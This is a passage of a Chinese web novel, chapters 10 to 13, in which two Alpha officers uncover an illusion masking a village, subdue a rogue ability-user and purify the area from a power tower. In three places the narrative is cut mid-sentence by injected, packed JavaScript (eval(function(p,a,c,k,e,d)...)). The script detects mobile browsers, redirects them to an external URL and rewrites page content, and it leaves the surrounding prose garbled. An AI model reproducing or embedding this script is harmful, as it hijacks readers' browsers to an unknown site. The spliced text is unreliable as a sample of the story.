倏地,浴室的花洒声停下来,季长岁莫名紧张,坐得板正。但人却迟迟没出来,他盯着卫生间的门,不能出事儿吧,堂堂管理局特殊作战部部长,净化异能,一米八六,成年男性Alpha……停一下停一下,什么乱七八糟的。 季长岁呼吸,站起来,走过去敲门:“部长,没事儿吧?” 即便是隔着门板,季长岁也微妙地感觉到他在里面僵硬了一下。接着,部长好像有些慌乱,他听见牙刷杯磕碰的声音。 嗯,人还活着。 “我……”部长走到门边,“我没带抑制贴。” 嘶。自己也没带。 都没料到今晚会待在这儿。 “等着,我出去买。”季长岁说。 “麻烦你了……” 不到十分钟季长岁就回来了。 他冲进来的,冲进来的气势像是要把周观逸拿下。 因为刚洗过热水澡,信息素被动激发出来,屋子里不可避免地填充着来自周观逸的接骨木味道。 季长岁毫不在意,开门冲进来之后二话不说撂下便利店的塑料袋,眼睛看着他,牙齿咬在抑制贴的包装袋,单手撕开后直接替他贴住。 被人靠近腺体的瞬间,周观逸拼尽全力压制住暴起反抗的本能,因为对方是季长岁。 ……于是一个Alpha的腺体就这样被贴上。 季长岁跑上来的,有些喘:“走,这地方有问题。” 同时塞了把手枪给他。周观逸条件反射查膛后插进腰带起身跟他夺门而出,两个Alpha隐在夜色中,晚上将近10点,黑浓的云里看不见月。 招待所这条街只有一间小超市还亮着灯,方才季长岁就是在那儿买了抑制贴。他们站在路边,晚间静得很,像是整个村子被人封住了嘴。 “开枪。”季长岁看着他说。 “朝哪儿?”周观逸没问别的。 “随便。” 周观逸抬手向天扣下扳机。未经消音辅助的手枪在这样静默的夜里乍然爆发出巨响,普通手枪的枪声可以在小范围内造成耳鸣甚至眩晕。 但在这里,这条还亮着几家店铺,以及附近的居民楼里还有许多住户没有熄灯。 可没有任何动静。 没有店家出来看看怎么回事,也没有居民打开窗户往下看看。 “继续。”季长岁说。 周观逸又开一枪。 这个村子依然平和,好像他们两个站在一套天衣无缝的布景里。周观逸四下看了一圈,别说人了,连狗都没叫一声。 周观逸:“怎么发现的?” “你能信吗?”季长岁反问他。 “季警官。”周观逸顺手插枪回腰带里,很随意地笑起来,“你叫我开枪我都一个字不问,你觉得我不信你?” 季长岁的职位是“执行官”,但大家叫“警官”的更多,他听着也顺耳。周观逸从一开始就叫他“季警官”,他声线介于沉浮之间,音色的磁性恰到好处,季长岁还挺喜欢这道声音叫自己“季警官”。 季长岁轻轻一耸肩:“我去超市里买抑制贴的时候比较匆忙,跑进去的,那店里……你玩过一些网络游戏吗,是那种制作比较粗糙的游戏,大概就是‘你观测到这个地方的时候,它才渲染这个地方,其他时间这里都只是最普通的灰色建模’,这么做的目的是让游戏公司的服务器减少压力。” 周观逸点头:“我理解,所以,你见到超市里面是建模?” “节能状态的。”季长岁说,“老板在重复清点动作,墙上挂钟是六点整,秒针跑一下回一下,制冷柜运作的‘嗡’声频率跟秒针退回的一致。就像是打从下午六点没有人进去触发,所以为了节约成本而让这里趋近于休眠。” “这么看的话,整个村子可能都是这样。”周观逸将手枪递给他,“不止超市。” 季长岁没有接枪,他摇摇头:“这枪你留着,我还有一把。我们要尽快回去市里,人手再不够也要过来调查,这里很近,近到灯下黑了。” “但不是现在。”周观逸认真看着他。 “嗯。”季长岁明白,“会打草惊蛇。” “可我已经开过枪了。” 季长岁抬头看了眼路灯,他走过去,手掌贴在灯杆上。周观逸看过他使用机械沟通,这时候依然是幽蓝色的暗光从他手掌与灯杆的接触缝隙中溢出来……然而路灯没有一丁点变化。 “没用。”季长岁说完,转身向周观逸伸手,“来,你净化我。” 周观逸犹豫了下,还是听话了。 结果一样,在这个地方驱动不了。周观逸握着他手,有点不相信,又驱动一次,还是不行。 “这莫非也是……”周观逸慢慢松开他,“地区节能模式?” 季长岁点头:“只是我猜测,这里被人简化掉了很多东西,我不知道现今有怎样的异能者能做到这种地步,说真的,有点超乎我的认知了。” 周观逸又一次抬头看路灯,很亮,很干净,简直像是今天上午刚装上。目光重新放在季长岁身上,周观逸看出来他神色焦虑,说:“没有,只是一点小打小闹,季警官, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只不过回忆里韩副局的形象变得模糊,而韩副局的那些话变成了弹幕,弹幕中间站着持枪冷脸的季长岁—— 高阶异能者!机械沟通!初中就驱动直升机! 高阶异能者猛地回头:“跟上啊。” “喔。”周观逸加快脚步。 夜里两个人在大红喜被里共眠,倒是比想象中的更自然。床很宽,足够两个Alpha并肩躺着睡。在军队里养成的习惯是熄灯后就睡觉,不过季长岁还在看手机,有淡淡的屏幕光。 “刺眼吗?”季长岁问。 “不。”周观逸说,“我没睡。” “你初中的时候能用净化异能吗?”季长岁锁屏了手机,房间完全暗下来。 异能大多是在出生时通过基因检测得出结论,普遍情况下成年后才有能力使用。又因为异能驱动所倚靠的是人类的精神力,所以强弱因人而异,也出现过基因中带有异能,但终其一生都无法驱动的案例。 像季长岁这样十多岁就能够驱动直升机这种大型复杂的机械装置的异能者,是绝对要收编入军警方。 周观逸也是。 他回答:“会,我第一个净化异能的人是我妈。” “。”好像问到了一些雷区,季长岁又一次使用堪比拧掉别人头的转移话题方式,“对了,咱俩的结婚证在哪儿来着?” “韩局手上。” “啧,他拿着干嘛,你要发朋友圈吗?还没过12点。” “……在韩副局长手上。”周观逸再次告知。 11. 第 11 章 虽然这么想会比较奇怪,但这个“婚房”的确给了季长岁一些结婚的实感。是因为醒来后察觉到房间里多了一个人的那个瞬间,他没有立刻暴起而杀之,让季长岁觉得好像自己对结婚这件事情接受得还可以。 周观逸也是刚醒,坐在床边给手机插充电器,回头:“昨晚好像断电了一阵子,我手机没多少电。” 季长岁笑了下:“是不是感觉误入了什么劣质真人秀。” “有点儿。”周观逸点头。 好吧似乎是对周观逸这个人接受得还可以而不是结婚。 周观逸确认他仅剩一小半电量的手机正在充电后,转过头想和季长岁确认一下今天回去管理局……一眼看见季长岁坐在那边床沿正在穿衬衫。 因为没有睡衣,只是凑合一夜没太讲究,昨晚两人睡觉只穿着内裤。这一转头,季长岁背对着他,衬衫刚从背阔肌位置穿上来,他看见季长岁背上跟着手臂动作而绷、松的肌肉,以及中间一道漂亮的背沟,立刻将脑袋转回来,顺势掐了下自己大腿面儿。 冷静,别乱看,周观逸想,那是我昨天才结婚的老公。 “周部长。”季长岁站起来,依然是背对着他,正在穿裤腰带,“回管理局之前我们再去一趟胡大爷家吧,山里那些没拆的房子里应该只有他家是不一样的,等下……你还记得胡大爷家的挂历吗?” “也是翻到5月,年份是2001。”周观逸回答。 季长岁腰带上的金属扣“哒”一声扣好,回头,眼神中带着欣赏:“刷牙洗脸,你先我先?” “你先。” 小卓看起来昨晚没睡好,在派出所的办公室里大家开会的时候,他领导喊了他两遍“卓晓维”他才反应过来。 “啊。”小卓赶紧坐直溜,“嗯,对,就是说…目前还住在山里的,一共16间房子,3间空屋,10户是70岁以上老人,3户……” “哎哎停。”领导蹙眉,“没拆的留守的我清楚的啊,你别发呆了,起来走了呀。” “啊?”小卓一回神发现全办公室只有自己还坐在凳子上,接着展示了廉价制作的影视剧里为了突出某角色傻白甜但用力过猛致其愚蠢的剧情,他抱着电脑材料踉踉跄跄走到办公室门口后扑通一个跪摔。 何书清距离他最近,连忙搀扶起来:“卓哥,还好吧?摔伤了没?” 小卓连连摇头:“对不起对不起……不耽误事儿。” 季长岁跟周观逸交换了个眼神,虽然只接触了两天,但小卓十分靠谱且稳重,这样有些奇怪。 几辆警车停在山林土路上,还是前一天那个位置,鸭子在水塘边叫唤,警车依次熄火,大扫帚剐着水泥地……季长岁仔细听了听,依然没有鸟叫声。 他上前两步,跟一位警官搭话:“这边挺安静啊,一只麻雀都听不见。” “是啊。”警官点头。 就没了。 季长岁一愣,扭头去看周观逸,周观逸也不解。 似乎那警官还瞧了他一眼,并不理解你无端聊什么麻雀。 就好像有没有鸟叫根本不重要。 有可以,没有也行。 季长岁已经不奇怪了,在大量的奇怪现象中出现了寻常的事情,那才叫奇怪。季长岁“嗯”点头,跟在队伍最尾,走在周观逸旁边。 同时季长岁明白,这回十来个警察出动,完全是看在他跟周观逸的面子。不过他也同样意识到,村子里的警察们是真的没有觉得事情有哪里不妥—— 别人家里摆设一样就一样呗,犯法了吗?碍着谁的事儿了吗?都没有。 山林空气中的含氧量很高,季长岁知道在境外有些地方会给赌场打氧,让人神经兴奋。不光是山林含氧量,他现在觉得视野所及之处都不对劲。 一行人沉默着走路,是真的很安静,季长岁一度怀疑这些人都不带喘一下的——这不是体能问题,而是人类的生理结构。 周观逸点头回应他询问的目光,表示自己注意到了。 “小心一点。”小卓回头提醒他们,“曹奶奶家在这个沟对面。” “好。”季长岁点头。 他想到的可能是群体致幻,不过是什么在持续地驱动致幻异能呢……他认同周观逸的设想,造成这种现象的人并不是非常高阶,因为Bug频出且太过显眼,并且居然直接让他人异能不工作,这点简直是在撕开所有伪装告诉别人:没错这里就是问题很大啊! 那个沟季长岁目测有一米多点儿,搭了个木板做桥。 直到何书清都走过去之后,两位长官还没动。何书清在桥那头看着他俩:“哥,部长,过来呀。” 季长岁双臂环着,周观逸抿着唇。 “我觉得你弟可能已经受影响了。”周观逸脑袋朝他歪了歪,小声说。 “他不是我弟,只是岁数比我小。”季长岁也向他偏侧了些,“你说这种建模虽然挺劣质,但不至于正好咱俩走过去的时候它从中间断掉吧。” 周观逸稍微低头咽了一下,朝沟里看了眼:“还好,下面是好像是从田里导流出来的水。” “你已经在考虑掉下去的事儿了是吗。”季长岁蛮意外的。 “……”周观逸收声抿唇,微微摇头。 季长岁调整了下呼吸:“应该没事,相信祖传代码。” 周观逸失笑,什么祖传代码…… 曹奶奶像个NPC,坐在小椅子上编一个竹篮子。老太太头发半白,淡淡觑了一眼,继续编篮子。 小卓走过去蹲下:“曹奶奶,忙着呢。” 这下好了,除了小卓,全成了NPC了,大家诡异地站在院子里一动不动,像是镜头外面的人不用加载动作和表情。 倏地,山里起了风。 五月里凉意尚存,这风来得像上班迟到,跑得乱七八糟,也像一首离调的歌,让人感觉走错了地方。 季长岁下意识按在枪上,眼睛盯着曹老太太。 “回去吧。”曹老太太的眼睛浑浊,看着小卓,“五月份了,回去吧,天气不好。” “什么?”小卓不解。 院子里的几个警察机械地重复,先后说:“好的,我们回去了。” “好的,我们回去了。” “好的,我们……” “部长。”季长岁转头。 周观逸跟他挨近,二人拔枪,他回应:“像‘不完整幻境’,会不会是赵胜在附近?” “不可能,异能监测……靠,那东西不会出问题吧?”季长岁右手拿枪,驱动着异能在枪身中,又朝小卓说,“卓警官,怎么回事!?” 小卓快把自己蹲成个墩儿了,眼瞳在打颤,死死看着曹老太太。季长岁没想到第一户就这么高能,看了眼周观逸后,两人同时走到曹奶奶前边。 季长岁单膝蹲下来,周观逸持枪警戒。 “曹奶奶。”季长岁看着她,“为什么叫我们回去?怎么了?五月份天气就不好了吗?” 曹奶奶的嗓音与刚才 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“不会,昶州那么近,每个周末都能回来。”季长岁又问,“还有什么?” 周观逸自己也觉得不对,这种快问快答他并不擅长,度秒如年般的沉寂之后,他恍然看向季长岁:“如果不是过去而是未来呢?如果说的就是这个五月呢?” 何书清和白珊宇抬腿加入了辖区派出所民警们之间,他们从先后不一到齐声朗读: “好的,我们回去了。” “去卢翠家。”季长岁当机立断,“走!” 周观逸跟着他跑过沟上的简易木板桥,这么大风居然没把这木板给掀了,优化不够好。周观逸一把握住他胳膊往回拉:“卢翠家还是胡大爷家?” 周观逸看着他眼睛:“还是分头?” “不行。”季长岁攥着枪,跟他对视,“一起走,这是致幻异能的一种,但没那么强,你想想,如果你是个致幻异能者,你要让一个区域——比如这个村子、这个山头,让这里维持在一个相对平衡的状态,没有异样不被人察觉,你需要怎么办?” “持续地制造、修补幻境。”周观逸回答。 “对。”季长岁有一双黑白分明的眼睛近在咫尺,又靠近了下,“这里是山林,有水,卢翠家的水塘在低势,胡大爷在高处,风和水是天然最好利用的,帮助散播致幻异能……” 他说一半,骤然停下,戛然而止。 周观逸替他补上:“也是运送毒品的绝佳方法。” “先走。”季长岁说。 说完,两人同时持枪奔跑起来。在四面八方的风中踩着新鲜的,被刮断掉下来的枝桠。 果然,半空中因大风而浑浊起来,那是天然的物理遮蔽,乱七八糟的树叶、虫群鸟群、鸡鸭鹅毛。 抬头一片灰蒙蒙,两个Alpha都有着不错的体能,很快跑到警车停放的地方,再向卢翠家看过去时…… 季长岁眼神很不爽,因为那条窄小的岔路口上,摆着一个柠檬黄色的旧纸箱子。 下一刻。 “嘭~” 弹出来一个木质的,破旧败色的小丑。 咧着嘴,边笑边摇摇晃晃。 季长岁短暂地不爽过后,笑起来:“来对地方了,部长。” 上一次抓捕赵胜时也出现了这玩意,在锦高北路步行街。 12. 第 12 章 小丑在这里,那么赵胜会在附近吗,季长岁犹疑着。 “不管了,先走。”季长岁知道现在不是考虑这种问题的时候。 向卢翠家去的小路还算好走,搅弄风云真是具象化了,两人在没有规律的风中岿然不动,面前就是卢翠夫妇。 凌乱山林中,中年夫妇站在小路的尽头,他们背后是房子的院门。那院子里的所有东西都没有受到风力侵袭,挂在屋檐下的鞭炮辣椒纹丝不动,就连院子里玩手机的李稻,他衣服头发都是静止的。就好像被结界隔离。 李河添的脸很僵硬,他手里抓着一直垂到水塘里的冰锥。季长岁沉着脸:“凝水作冰,已经是中阶水系异能了。” 不知是风声扭曲了人声,还是李河添的声音受什么因素影响,那语调和声线粗细都很奇怪,像是有人在借他的嘴:“大黑天,三尺神,手中捧,湮灭时间的瞬间……” “念咒呢?”季长岁看向旁边的周观逸,“听得懂吗?” 周观逸坦诚摇头:“不懂。” 警服的外套被吹得鼓起来,季长岁上前一步,举枪:“李河添,你已被符合失控异能者抓捕标准,立刻停手。” 这种话说十遍里有十遍是被对方无视的,这次也一样。 李河添空着的手直接抓过旁边的卢翠,准确地说,他是一手抓过卢翠的脖子。卢翠完全不带反抗,似乎料到了,两下被李河添掐地干巴巴张着嘴吐不出字。 季长岁二话不说朝着李河添脑门连续开枪。 机械沟通异能下,五发子弹几乎发射在同一弹道,正常情况下没有什么碳基生物能活下来。 但这里是非自然区域。周观逸和季长岁就这样眼睁睁看着弹药在距离李河添面门两寸的位置一同失去推力,静止,然后掉落。 嗯,地心引力倒是正常的。 “一分钟。”周观逸伸手握了一下他手腕,“颈动脉受挤压切断供血直至意识丧失后死亡,卢翠还剩一分钟。” “你去净化他,我救卢翠。”季长岁说。 两人同时垫步冲上去,短短几步距离,中间充斥着被压缩的气流在将二人向外顶。异能的“能源”是人类精神力,被扼制异能不是罕见的事儿,管理局里的手铐也能做到,只要精神力足够强大,什么都能冲破。 季长岁的警服被气流震得鼓起来,周观逸的外套纽扣已经被崩开,两人的靴子在土路上踏出半指深的小坑。 半分钟了,卢翠已经翻了白眼,两手垂着。 “部长!”季长岁伸手,“要来不及了!赌一把它能让非异能者通过!” 周观逸攥紧他手,咬牙开始净化季长岁。 被抽离异能的感觉在结婚当天已经感受过了,这次季长岁完全适应,同时他们赌对了,这个气流强只对抗异能者。 季长岁迈过去的瞬间反手抓着周观逸将他拉了过来! “快!”季长岁喊道。 周观逸立即松开他手,疾步上前一手钳住李河添肩膀,他预想到了可能不会太顺利。高阶异能者很难净化高阶异能者,而这李河添源源不断地被“提升”着——不知是被谁。 所以周观逸需要些时间,他站在李河添身后,一手按肩膀,另一手扼住其喉咙:“警官,需要至少25秒。” 于是他听见季长岁骂了句脏话:“草。” 25秒尚不足以季长岁的精神力重塑异能,至少半分钟才够,不过好在季长岁搏击能力很不错。加上李河添全然不挪动,只站在那里,嘴巴重复着“大黑天,三尺神,手中捧……”季长岁干脆拿他当沙包打。 无论他是什么异能,是怎样的效果,这具载体依然是人类。 季长岁屈一膝盖低扫,李河添一个踉跄,他如同被唤醒,眼睛忽然紧盯着季长岁,掐住卢翠的手一抛,将卢翠抛摔至一边,上来要抓季长岁的脖子。 他转胯、拧身踢。这一踢,李河添后退两步,手里的冰锥有了裂痕,接着哗啦啦碎一地。他紧跟上前环绕步,周观逸配合他让开位置,还剩20秒,季长岁滑步蓄力,警靴在泥地上画出凌厉的转体线,高扫腿带着风,这脚踢太阳穴! 周观逸暗赞一句够帅。 还没完,李河添忽然惨叫一声——季长岁意识到是他被净化完毕,遂跟周观逸交换眼神。周观逸点头。 季长岁拔枪,枪在手中凌空半转,如阴握刀转阳握转了个花刀。 李河添一身牛劲,惨叫着扑向季长岁,被他侧身闪扑了个空后,季长岁的枪身朝着李河添后脑勺狠来了那么一下子。 “不会死了吧?”周观逸小声询问。 因为李河添的脸陷进了地里面。 “不能够吧。”季长岁插枪回去,他也不确定,“你去看看卢翠,我看一眼那个李稻。” 李稻还在玩手机,他简直在一个屏蔽仪里。 季长岁以为会进不去,结果只是迈了一步就进去了院子。同时,风声完全消失。 他走到李稻面前:“李稻?” 李稻抬头,迷茫的一张脸:“嗯?” “……”季长岁观察着他,没有丝毫破绽,懵逼中带了些局促,他接着问,“你爸妈呢?” “出去了。”李稻回答。 “去哪儿了?” “村里?忘了。”李稻答。 季长岁后撤一步,侧身,指着外面:“那儿。” 他指的地方,是周观逸扶起虚弱的卢翠,卢翠还在瞪着眼睛大声喘气。 “啊?”李稻看过来,好像在不同的次元,“哪儿?” “出来。”季长岁说。 踏出这个院子的李稻好像踏出了某个世界。卢翠手脚并用地爬起来试图将儿子推回去,但李稻已经比她高了,她又是刚苏醒过来,力气几乎没有。 接着卢翠就哭,但是哭不上气儿。 李稻扶了一下卢翠的胳膊,他问:“那是我爸吗?” 地上脸朝下的那个。 “是的。”季长岁走过去,拎起李河添的后领子,拽起来,别给人憋死了。周观逸站到母子面前,因为李稻像是要上去跟季长岁拼命,虽然他手机都还没收起来,那上边还是游戏画面。 周观逸说:“你父亲李河添是失控异能者,需要被收容。” 接下来就是一通“不可能你胡说”和沉默的周观逸,加上“你们这是欺凌百姓”和沉默的周观逸,以及“我要去起诉”和沉默的周观逸。 那边季长岁二话不说把李河添扛在肩上:“部长,他刚才大约是利用冰锥从水塘里摄取了异能,这一片估计都是这种情况,自然元素系的异能只能进行大规模净化。” “我可以,但我没有‘引导’的东西。”周观逸转过身来,“你……机械沟通的话,这里也没有什么机械组件。” 卢翠哑着嗓子哭嚎着拽住李稻,李稻还是怒火中烧地跑过来指着季长岁:“你、你……你把我爸放下!!” 季长岁漠然:“你妈也得跟我们回局里。” 李稻上来就往季长岁脸上挥拳,季长岁不慌不忙后撤一步,脖子稍微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749562|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后仰的同时垂着眼皮子懒懒看着这毛头小子,说:“小子,你家藏没□□品?” “?”李稻懵了。 周观逸则回头:“卢姐,都到这步了,你说实话吧。” 卢翠声音沙哑,边咳边说:“我们就是中转一下,赚点辛苦钱,那包里是什么我们真不知道啊——” “在哪儿。”周观逸问。 真不知道、假不知道,还是被谁告知了里面“不是好东西”,这在眼下都不重要。 “塘里。”卢翠说。 季长岁和周观逸对视一眼。 季长岁:“还是要净化掉这里。” 周观逸是赞同的,但问题还是那个,他的精神力能够净化这片山林,包括那边的村子。这就像烧火需要根引线,他得有路径。这种“路径”并非物理上的——净化异能者时,是通过血液流动、神经元,净化土地、场所也同理。土地不具备流动性,而水在这里又不是四通八达。 季长岁也明白,他烦躁地拧着眉毛,一抬头——国家电网的输电塔。 眼睛一亮,说:“电塔。” 周观逸跟着他抬头。 这妖风时强时弱,不稳定。不稳定就是好事,季长岁扛着李河添的肩膀向上抬了抬,说:“走,你去拿上路口那个木头小丑,我们去爬电塔。” 周观逸点头,他隐约猜到了季长岁的想法。因为此时此刻,若要满足引导条件来净化这一大片区域,那么加上季长岁的异能,还有电塔——这个此地唯一贯穿每家每户,每一个电器,以及电器附近的人,并且精准控制在这个范围内,只有一个办法。 李稻还在后边哭喊,不知是被卢翠安抚住了,还是听了卢翠的什么话,从喊变成了纯哭。那声音被二人抛在身后,周观逸拿上小丑,两人向着最近的电塔,顶着风走过去。 “我们没配合过……”周观逸有些紧张。 季长岁:“但是没有其他办法了。” “我很有可能误伤到你。”周观逸说。 “那你别让我摔死就行。”季长岁答。 输电塔目测有小一百米,季长岁“呼”出来一口气。他先把李河添放下来,将他手铐住,再次抬头:“周部长,别真让我摔死了,否则你没法撤销婚姻了只能丧偶。” “……”周部长先是沉默了下,然后蹲下来解开李河添的手铐,“手给我。” 他把自己的手和季长岁的手拷在一起。 “我知道这种大规模机械沟通会几乎让你切断本体的感知能力。”周观逸看着他,“而我们必须爬到最上面,让你有足够的范围判定,放心,我不会让你摔下来。” 季长岁顿时有些许感动。 他们的计划是用异能来引导异能,季长岁的机械沟通通过输电塔在前面跑,周观逸的净化在后面追。 这将是一次长久的大型异能追杀。 机械沟通会带着净化走遍这里的每个角落,通电的每一户人家。 但如果净化异能者没有控制好速度,净化掉了前面的机械沟通,那么异能会反噬给季长岁,使他暂时失去意识。 输电塔上很窄,掉下来就是周观逸丧偶,季长岁的话没错。 季长岁低头看了看手,又瞧了眼昏厥的李河添,李河添放在这里也没什么问题,等下他会第一个被再次净化。 “先解开吧。”季长岁说。 “你相信我,季警官。”周观逸急切道。 “咱俩这么拷着,怎么爬?”季长岁问。 “哦。” 13. 第 13 章 徒手攀爬是特警队和军队都会训练的项目。 季长岁爬得比较快,因为边爬边使用异能,在狂风乱作受干扰的视野之中可以准确知道下一手抓在哪里。 他时不时低头看一眼周观逸,因为没有通讯设备,在空中风大,很难交流。季长岁看一眼他也还在跟着爬就行,特战部长这点能耐都没有的话也别干了。 “就这儿吧。”季长岁没有爬到顶,不过也足够高了,这个高度能让他大致看清范围就好。 他看见周观逸停在自己的下边一格儿,两条腿里外岔着,以维持身体稳定:“好,你向右边挪一点,给我让个空位。” “来。”季长岁弯腰,向他伸手,“手给我。” 虽然眼下情况紧急,但周观逸的第一反应是……季长岁伸过来的是戴戒指的那只手。季长岁催他:“快点。” 周观逸抬手握住,借力,把自己拉上去。 两个人蹲在这钢铁筑塔之中,没有任何安全设备,半空的风蛮横无比,即便距离这么近,也要用喊的才能听清。 “等我一下!”周观逸稍微靠近,喊了这么一句。 季长岁点头,但头发和外套胡乱翻飞,点头这个动作几乎没有存在感。他以为周观逸需要调整一下,结果手腕上一凉,他低头,熟悉的金属手铐。 再抬头,视线撞上,周观逸笑了下。 季长岁也笑了。 省点劲儿吧别扯着嗓子喊着说话吧,笑一下得了。 季长岁用没铐住的右手指了指手边这根角钢的柱子,说:“我先试一下。” “嗯。” 高阶异能者一个非常明显的特点,他们在释放异能时,会产生很淡的,可能在照明充沛的地方不太明显的光亮。 机械沟通自然是冷色系的光,幽暗的冰蓝色。周观逸看着他手握住的那一小截灰色角钢也被染上蓝色后,季长岁松开手,回头:“可以,没有干扰,你也试一下。” 他们在这规律分部的角钢柱之中调整了一下位置,骑坐是最稳的,季长岁凌空一转把自己翻过去,跟周观逸面对面,中间隔一根角钢柱。 周观逸也试了一下异能,净化的光芒是银灰色,在白天里几乎看不见,不过季长岁看见了。他视线从周观逸的手移到他脸,向他点头致意了下。 “间隔多少?”周观逸问他。 季长岁想了想,舔唇:“我不知道。” “……”周观逸愣了下,旋即左右为难之际吞咽了一下,“呃,我没……我也没训练过这个。” 一项异能去引导另一项,这在军警之中是比较经典的小队配合,不过这种配合大多在低阶和中阶异能者之间实施。原因简单,高阶异能者稀少,中阶异能加上另一个中阶可以应对许多场景,所以别人单刷的,那我们就组队打一下这样。 “理论知识是有的吧。”季长岁问。 “有。” “那行了,”季长岁先握住角钢柱,“来,握上面,间隔就、就0.5秒。” 他随便扯了个数字,谁知道对不对。周观逸也不管,点头就应了:“好。” 其实这种异能配合不仅是引导。 大多数低、中阶异能者完成中学学业,也就是差不多十八岁成年之后,以异能特性被军警收编后,第一项课程就是配合。 治疗系配合瞬移,实现作战时快速援助。侵蚀配合感官,迅捷且精准地埋雷。而现在他们要做的,可能是师弟师妹们早已信手拈来的追逐式引导。 它最简单,一个在前边狂奔,另一个在后面猛追。 唯一的难题是大家都保持匀速,不要产生碰撞,宛如高速公路上跟车,我们保持着车距……尽管只有0.5秒。 季长岁临到这时候意识到自己其实有点害怕——当然会怕,他盯着周观逸的眼睛,距离很近,能看见他明晰的瞳仁。 “部长。”他喉结一滚,“我们尽量、尽量一次成功。” 异能在配合中碰撞所产生的后果可大可小,可是周观逸的异能是净化。也就是说,万一在季长岁引导他的过程中,机械沟通被净化掉,那么从电塔蔓延到这整个山林、村庄的机械沟通会原路返回他的身体。 死倒不至于,但那应该会很惨。 周观逸认真地看着他:“一次成功。” “来了。”季长岁握上角钢柱。 周观逸跟着握在他上面一点点位置。 两个人必须要有接触,于是他们被拷在一起的,戴着婚戒的手立刻握在一起。 幽蓝色的机械沟通在前,冷银色的净化异能在后。 跑吧。 从输电塔高点位置,异能充分释放,两人几乎凝结了全部精神力,以至于后颈的信息素冲开抑制贴,极其浓烈的异能波动致使异能在行进过程中有了肉眼可见的波冲—— 净化异能跟随着机械沟通一起砸进地面,很快,又两道光柱以角钢柱为载体向上攀升,一上一下,以地底电缆、传输电线为路径,四通八达至这里的每个角落。季长岁为他引路,他来净化掉这里的大范围幻境异能。 也是同时,浓郁到让人窒息的两股Alpha信息素纠缠着在高空蔓延,不过又因为其主人都是高阶异能者,这两团并不排斥,甚至匹配度有1.36%的信息素没有四散开来,而是在两人周围形成一团雾气包裹着他们。 这是Alpha无意识的自我保护本能,让信息素缠绕在周身,就像野兽会保证自己的巢穴附近有着足够的痕迹,以此来威慑入侵者,这里有自然界食物链顶端的存在。 尤加利和接骨木的味道已经浓到污染程度,两人的异能所及之处露出它原本的面貌。 如气波震荡,甚至震开了肆虐的风。 那些草木静止片刻后,统一向异能奔走的方向晃动两下,接着—— 原本足够一辆三轮车同行的土路上出现半人高的野草,幽深的水塘瞬间干涸,土房子上压满爬墙虎…… 如同一颗巨石砸向覆满藻类的池塘,也像是高压水枪冲刷泥泞的院子,总之揭开一切伪装,终于天光大亮。 这是个巨大但算不上复杂的布景式幻境异能,人们所见路两边是荆棘,从不踏足,实则只是野草。水塘禁止垂钓划船,其实没有一滴水。 那些一模一样的家具陈设也只是基础的障眼法,净化之后,未拆走的老人家里,连床铺上都积着厚厚的砂石。 不知过去了多久,一个高阶异能者持续释放异能多久会精神力殆尽,这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749563|174274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实验从未有人做过,因为无法预计后果。 而此时,两人都明白,小丑在这里,那么赵胜就有几率在这附近,必须净化掉所有幻境把他揪出来。 直到谷福村入口大道上漆红鲜亮的牌子在后一秒褪得斑驳锈红,季长岁和周观逸同时睁开眼,两人脸色惨白,在算不上温暖的初春汗湿了刘海,唇上也没有了血色。 周观逸怔愣了下,他的视线慢慢地,从季长岁的脸上偏开一些。 季长岁看见周观逸琥珀色的眼瞳中盛满了自己背后的晚霞,那是这片山林真正的光。季长岁没什么力气了,轻轻拎着唇角笑了下。握着角钢柱太久,手指酸麻,他指尖略微打颤地伸过去,拨开周观逸快要戳着眼睛的一缕头发。 “部长!?” 长达数小时的净化和控制着异能的蔓延速度,以及精准跟随机械沟通以达到范围内、路径内的净化,已经让周观逸再也支撑不住,整个人向侧方一歪——这歪下去可是几十米。 季长岁的状态也不算好,一手臂紧紧抱住他,咬着牙向下看,除了一个瘫在电塔下昏迷不醒的李河添,周遭空无一人,荒草丛生。 “……部长,周部长。”季长岁试着叫他,“别昏在这啊,这……” 一阵和煦的山风扑面而来,吹散了这里的信息素。季长岁暗叹着,希望之前那大规模的净化能让昶州市有所察觉吧……再不济,谷福村辖区派出所和小何小白这会儿也应该恢复正常了。 季长岁目前只能干等,最起码他要坐在这里直到自己的异能慢慢重塑一些回来。 他决定先回头看一眼夕阳,反正也没什么事情可做。 转过头,地上繁茂的草木,远山壁立千仞,那橘红的夕阳如同一头撞死在山尖,迸了漫天的血。 而他们此前拷在一起的手不知何时变成十指相扣,现今还扣着彼此,婚戒紧贴着。 季长岁幽幽叹气时,他肩窝里的脸稍微动了下。季长岁大喜:“你还好吧?你能动吗?” 周观逸眼睛是睁开了,但目光呆滞,眼神无助,气若游丝:“我没有力气。” “对不起。”他补充。 季长岁知道他在为自己此时动弹不得必须靠着自己而道歉,遂笑起来:“干什么道歉,我知道你跟在我后面压制着异能还要释放异能很辛苦。” 唉……季长岁又默默叹气,但现在怎么办呢…… 终于,一道清亮亮的熟悉声音从下方喊道:“哥——!!!” 季长岁低头,他这辈子见到何书清的时候从未有现在这么感动过。 